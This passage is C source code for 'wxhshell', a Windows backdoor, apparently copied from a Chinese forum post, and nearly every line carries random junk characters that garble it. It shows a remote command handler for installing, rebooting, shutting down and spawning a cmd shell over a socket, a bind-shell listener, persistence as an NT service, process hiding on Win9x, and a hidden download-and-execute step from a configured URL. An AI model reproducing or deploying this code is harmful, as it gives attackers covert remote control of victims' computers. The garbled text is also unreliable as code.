  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %_. fEFy07  
  } 4Qj@:b  
  else { l|sC\;S  
RN"Ur'+  
    switch(cmd[0]) { (-%1z_@Y  
  2P,{`O1]  
  // 帮助 uWjEyxPv{  
  case '?': { ^8V8,C)  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Z3O_K  
    break; Lq]t6o ]  
  } LO@o`JF  
  // 安装 bzyy;`;6Q~  
  case 'i': { 6<Txkk  
    if(Install()) a/TeBx#yG  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8iUYZF  
    else ,w%hD*  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t~M0_TnXlP  
    break; Ctx{rf_~  
    } ukc<yc].+?  
  // 卸载 Jxsch\  
  case 'r': { |Ng}ZLBM  
    if(Uninstall()) RC~C}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E~ +g6YlT  
    else ub9,Wd"^  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); T;sF@?  
    break; &Y jUoe  
    } aSt:G*a"  
  // 显示 wxhshell 所在路径 %*];XpAE  
  case 'p': { {y`n _  
    char svExeFile[MAX_PATH]; SYA0Hiw7P  
    strcpy(svExeFile,"\n\r"); 1T0s UIY  
      strcat(svExeFile,ExeFile); q);@iiJ-  
        send(wsh,svExeFile,strlen(svExeFile),0); cCv@f ks  
    break; "R^0eNv$  
    } v,Uu )Z  
  // 重启 UTVqoCHA  
  case 'b': { UO4z~  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); #n.XOet<\  
    if(Boot(REBOOT)) ",pd 9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *:"p*qV*  
    else { 4u E|$  
    closesocket(wsh); iC4rzgq  
    ExitThread(0); 0aa&13!5  
    } \{. c0  
    break; Vc!'=&*  
    } wxE'h~+  
  // 关机 NX8. \Pf#  
  case 'd': { >D_!d@Z  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Q(jIqY1Hf  
    if(Boot(SHUTDOWN)) :aR_f`KMm  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); k-I U}|Xz  
    else { \[<8AV"E-'  
    closesocket(wsh); n'8 3P%x  
    ExitThread(0); `{H!V~42  
    } Ntlbn&lc;D  
    break; i|!W;2KL5  
    } qlC4&82=Q  
  // 获取shell .o)  
  case 's': { S z-TarTF  
    CmdShell(wsh); D-Q54"^3  
    closesocket(wsh); q.ZkQN+  
    ExitThread(0); G2w0r,[  
    break; -u~AY#*  
  } n!h952"  
  // 退出 d,E2l~s  
  case 'x': { #D^( dz*  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); VJS1{n=;k  
    CloseIt(wsh); "0m\y+%8  
    break; $GQ{Ai:VwF  
    } / >O.U?  
  // 离开 iQvqifDmh  
  case 'q': { M3s:B& /  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ,U.|+i{  
    closesocket(wsh); <~  ?LU^  
    WSACleanup(); 4F,RlKHBl  
    exit(1); ^%NjdZuDO  
    break; [<.dOe7|  
        } 8gJg7RxL  
  } z-m:l;  
  } <;hy-Q()D  
}*c[} VLN  
  // 提示信息 ne# %Gr  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); GpXU&A'r  
} zU";\);  
  } :nS p  
~j[mME}  
  return; <x1,4a~  
} rTzXRMv@o  
QeQxz1  
// shell模块句柄 z'}z4^35,  
int CmdShell(SOCKET sock) @+hO,WXN  
{ b&!x.+d-z  
STARTUPINFO si; 9>ML;$T&  
ZeroMemory(&si,sizeof(si)); P.3kcZ   
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; P(B&*1X  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; B3Ws)nF"  
PROCESS_INFORMATION ProcessInfo; 6 - IThC  
char cmdline[]="cmd"; H={5>;8G  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 0}- MWbG  
  return 0; RY]jY | E  
} q U^`fIa  
' pfkbmJ  
// 自身启动模式 },,K6*P  
int StartFromService(void) @Uqcym.  
{ 7W=s.Gy7G\  
typedef struct ?tkd5kE  
{ t8uaNvUM}e  
  DWORD ExitStatus; vs{xr*Ft  
  DWORD PebBaseAddress; $u, ~183  
  DWORD AffinityMask; < ;fI*km  
  DWORD BasePriority; +@MG$*}Oz  
  ULONG UniqueProcessId; i([|@Y=  
  ULONG InheritedFromUniqueProcessId; sPRs;to-  
}   PROCESS_BASIC_INFORMATION; QLb!e"C  
95*=& d  
PROCNTQSIP NtQueryInformationProcess; 7upN:7D-  
`FByME  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ><{Lh@{  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Tz{-L%*#  
J )UCy;Y  
  HANDLE             hProcess; Bs\& '=l  
  PROCESS_BASIC_INFORMATION pbi; e\ ! ic  
vq1u !SY  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); D:XjJMW3r  
  if(NULL == hInst ) return 0; $|K-wN[  
j=Z;M1  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); J'*`K>wV  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); nxs'qX(D  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); CPJ%<+4%b  
jR"ACup(  
  if (!NtQueryInformationProcess) return 0; <1E5[9 q  
_@O.EksY3r  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 90">l^HX=  
  if(!hProcess) return 0; \'+P5,  
r[3 2'E  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Iy@6cd,)S  
)@6iQ  
  CloseHandle(hProcess); *C,1 x5  
<h*$bx]9 +  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ~X,ZZ 9H  
if(hProcess==NULL) return 0; Ki\J)l  
p*~b5'+ C+  
HMODULE hMod; N2&h yM  
char procName[255]; K5 Z'kkOk  
unsigned long cbNeeded; AX6l=jFZx  
BCt>P?,UO  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); -fDW>]_  
#4F0o@Z  
  CloseHandle(hProcess); ]EEac  
$`_xP1bUT  
if(strstr(procName,"services")) return 1; // 以服务启动  #{zF~/Qq  
+[Q`I*C  
  return 0; // 注册表启动 GhW{6.^  
} K&up1nZ@(  
h%!,|[|  
// 主模块 ~/;shs<9EM  
int StartWxhshell(LPSTR lpCmdLine) `Lr|KuFN  
{ @O HsM?nW  
  SOCKET wsl; Gy!bPVe  
BOOL val=TRUE; 1  Lz  
  int port=0; Y"E*#1/  
  struct sockaddr_in door; ,ZvlK N  
_nec6=S6(  
  if(wscfg.ws_autoins) Install();  Qo+Y  
wcW}Sv[r  
port=atoi(lpCmdLine); ] jycg@=B  
vzZ"TSP  
if(port<=0) port=wscfg.ws_port; 6IKi*}  
I~25}(IDZ"  
  WSADATA data; ]_2<uK}fg  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; r-5xo.J'  
>C -N0H  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   3j w4#GW  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); -{ Fy@$!  
  door.sin_family = AF_INET; #z9@x}p5g  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 1V ; ,ZGI*  
  door.sin_port = htons(port); +kT o$_Wkz  
7QHrb'c  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { o.])5i_HV  
closesocket(wsl); 2Y%E.){  
return 1; J pKCux  
} 3.@ir"vy  
j\2q2_f  
  if(listen(wsl,2) == INVALID_SOCKET) { 9Nu:{_YoP  
closesocket(wsl); >RXDuCVi  
return 1; 'V} 4_3#q  
} 9tIE+RD  
  Wxhshell(wsl); j_}f6d/h  
  WSACleanup(); 7?2<W-n  
#A^(1  
return 0; J;Eg"8x]  
g>-u9%aa  
} Yn8aTg[J  
$i$Z+-W4'  
// 以NT服务方式启动 U9h@1:  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Sxc p [g;  
{ >{#QS"J#  
DWORD   status = 0; y-o54e$4Cq  
  DWORD   specificError = 0xfffffff; k Hh0&~ (  
^Dys#^  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ]gmkajCzD  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; xd^9R<  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; e%KCcU  
  serviceStatus.dwWin32ExitCode     = 0; Kj* $'('  
  serviceStatus.dwServiceSpecificExitCode = 0; YT)@&HaF  
  serviceStatus.dwCheckPoint       = 0; lVS.XQ2<  
  serviceStatus.dwWaitHint       = 0; 'E%+ O  
;a`I8Fj  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); DTC OhUIV  
  if (hServiceStatusHandle==0) return; m]/s R3yF  
=xM:8 hm  
status = GetLastError(); vp`s< ;CA  
  if (status!=NO_ERROR) YI),yj  
{ }M~[8f ]  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; >\Ml \CyL  
    serviceStatus.dwCheckPoint       = 0; 2E0$R%\  
    serviceStatus.dwWaitHint       = 0; Hs(U|BXU  
    serviceStatus.dwWin32ExitCode     = status; M[?0 ^ FBx  
    serviceStatus.dwServiceSpecificExitCode = specificError; dU#} Tk  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,5P tB]8&3  
    return; ^(1S`z$  
  } (r"2XXR  
r*t\F& D  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ?Z"<&tsZ  
  serviceStatus.dwCheckPoint       = 0; '<&rMn  
  serviceStatus.dwWaitHint       = 0; p-B |Gr|  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); $'Qv {  
} &#<>fT_  
i>z {QE  
// 处理NT服务事件,比如:启动、停止 ^MUvd  
VOID WINAPI NTServiceHandler(DWORD fdwControl) =X=m_\=~@  
{ e%JH q  
switch(fdwControl) [,ZHn$\  
{ 5VGr<i&A  
case SERVICE_CONTROL_STOP: `_>44!M  
  serviceStatus.dwWin32ExitCode = 0; EGK7)O'W  
  serviceStatus.dwCurrentState = SERVICE_STOPPED;  Yk yB  
  serviceStatus.dwCheckPoint   = 0; fi';Mb3B3  
  serviceStatus.dwWaitHint     = 0; 48n7<M;I  
  { N6%M+R/Q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7^DN8g"&\  
  } HMVyXulU  
  return; >d$Sh`a6  
case SERVICE_CONTROL_PAUSE: gt Rs||  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; z#\YA]1  
  break; L'<.#(|  
case SERVICE_CONTROL_CONTINUE: d`4F  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; U t.#h="  
  break; 'Sjt*2blq  
case SERVICE_CONTROL_INTERROGATE: Y%@a~|  
  break; vABUUAo!Jr  
}; zfm#yDf  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Oq*=oz^~1  
} )cYbE1=u8>  
2G)q?_Q4S  
// 标准应用程序主函数 &HJ'//bv  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) B"2#}HM  
{ ,")/R/d  
T:!Re*=JJ  
// 获取操作系统版本 (GbZt{.  
OsIsNt=GetOsVer(); _BBs{47{E  
GetModuleFileName(NULL,ExeFile,MAX_PATH); $Ce;}sM  
|TCg`ZS`cZ  
  // 从命令行安装 jT1^oXn@  
  if(strpbrk(lpCmdLine,"iI")) Install(); BHJS.o*j~  
e\' =#Hw  
  // 下载执行文件 ^ /7L(  
if(wscfg.ws_downexe) { )G@/E^ySM  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) n_Bi HMIU'  
  WinExec(wscfg.ws_filenam,SW_HIDE); MUvgmJsN  
} 7r wNjY#  
&,C;_3   
if(!OsIsNt) { _4~q&? }V  
// 如果时win9x,隐藏进程并且设置为注册表启动 C vWt  
HideProc(); 0p1~!X=I  
StartWxhshell(lpCmdLine); Fps:6~gD  
} i[m-&   
else }g_\?z3gt  
  if(StartFromService()) i=X B0-  
  // 以服务方式启动 Gc{s?rB_  
  StartServiceCtrlDispatcher(DispatchTable); !Yu|au  
else !MQVtn^C#  
  // 普通方式启动 F]6$4o[  
  StartWxhshell(lpCmdLine); y rmi:=N(  
n+:}p D  
return 0; .0iHI3i^  
}
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只看该作者 1 发表于: 2006-10-10
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